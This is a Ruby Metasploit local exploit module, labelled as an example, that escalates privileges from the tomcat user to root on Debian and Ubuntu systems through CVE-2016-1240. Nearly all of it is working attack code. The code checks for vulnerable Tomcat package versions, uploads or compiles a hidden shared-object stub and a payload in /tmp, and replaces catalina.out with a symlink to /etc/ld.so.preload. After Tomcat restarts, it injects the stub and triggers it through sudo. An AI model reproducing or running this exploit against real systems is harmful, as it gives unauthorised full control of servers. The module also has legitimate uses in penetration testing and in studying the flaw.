###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::Retry
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation',
        'Description' => %q{
          Tomcat (6, 7, 8) packages provided by default repositories on Debian-based
          distributions (including Debian, Ubuntu etc.) provide a vulnerable
          tomcat init script that allows local attackers who have already gained access
          to the tomcat account (for example, by exploiting an RCE vulnerability
          in a java web application hosted on Tomcat, uploading a webshell etc.) to
          escalate their privileges from tomcat user to root and fully compromise the
          target system.

          Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'DefaultOptions' => {
          'PrependFork' => true,
          'WfsDelay' => 1800 # 30min
        },
        'References' => [
          [ 'EDB', '40450' ],
          [ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'],
          [ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'],
          [ 'CVE', '2016-1240']
        ],
        'DisclosureDate' => '2016-09-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )
    register_options [
      OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def preload
    '/etc/ld.so.preload'
  end

  def catalina
    datastore['CATALINA']
  end

  def check
    package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'')
    if package.nil? || package.empty? || package.include?('not found') # catch dpkg command not found
      return CheckCode::Safe('Unable to execute command to determine installed pacakges')
    end

    package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy
    package = package.split(' ')
    # 0 is ii for installed
    # 1 is tomcat# for package name
    # 2 is version number
    begin
      package = Rex::Version.new(package[2])
    rescue ArgumentError => e
      return CheckCode::Safe("Error processing Tomcat version (#{package[2]}) into known format: #{e}")
    end

    if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) ||
       (package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) ||
       (package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8'))
      return CheckCode::Appears("Vulnerable app version detected: #{package}")
    end

    CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    unless file? catalina
      fail_with Failure::BadConfig, "#{catalina} not found or still symlinked"
    end

    if file? preload
      fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation"
    end

    vprint_status("Creating backup of #{catalina}")
    @catalina_content = read_file(catalina)
    path = store_loot(
      catalina,
      'text/plain',
      rhost,
      @catalina_content,
      'catalina.out'
    )
    print_good("Original #{catalina} backed up to #{path}")

    if live_compile?
      # upload our privesc stub
      so_stub = ".#{rand_text_alphanumeric(5..10)}.so"
      so_stub_path = "#{base_dir}/#{so_stub}"
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

      # Upload exploit stub
      vprint_status "Compiling exploit stub: #{so_stub_path}"
      upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl'
    else
      payload_path = '/tmp/.jMeY5vToQl'
      so_stub = '.ny9NyKEPJ.so'
      so_stub_path = "/tmp/#{so_stub}"

      write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so'))
    end
    register_file_for_cleanup(so_stub_path)

    # Upload payload executable
    vprint_status("Uploading Payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_file_for_cleanup(payload_path)

    # delete the log and symlink ld.so.preload
    vprint_status("Deleting #{catalina}")
    rm_f(catalina)
    vprint_status("Creating symlink from #{preload} to #{catalina}")
    cmd_exec("ln -s #{preload} #{catalina}")
    register_file_for_cleanup(catalina)

    # we now need tomcat to restart
    print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart")
    succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
      file? preload
    end

    unless succeeded
      print_error("#{preload} not found, exploit aborted")
      return
    end
    register_file_for_cleanup(preload)

    # now that we can write to ld.so.preload, use a SUID binary to execute our stub
    print_status("injecting #{so_stub_path} into #{preload}")
    cmd_exec "echo #{so_stub_path} > #{preload}"
    print_status('Escalating payload privileges via SUID binary (sudo)')
    cmd_exec 'sudo --help 2>/dev/null >/dev/null'
    print_status('Executing payload')
    cmd_exec payload_path
  end

  def cleanup
    if @catalina_content.nil?
      cmd_exec("touch #{catalina}")
    else
      write_file(catalina, @catalina_content)
    end
    super
  end
end
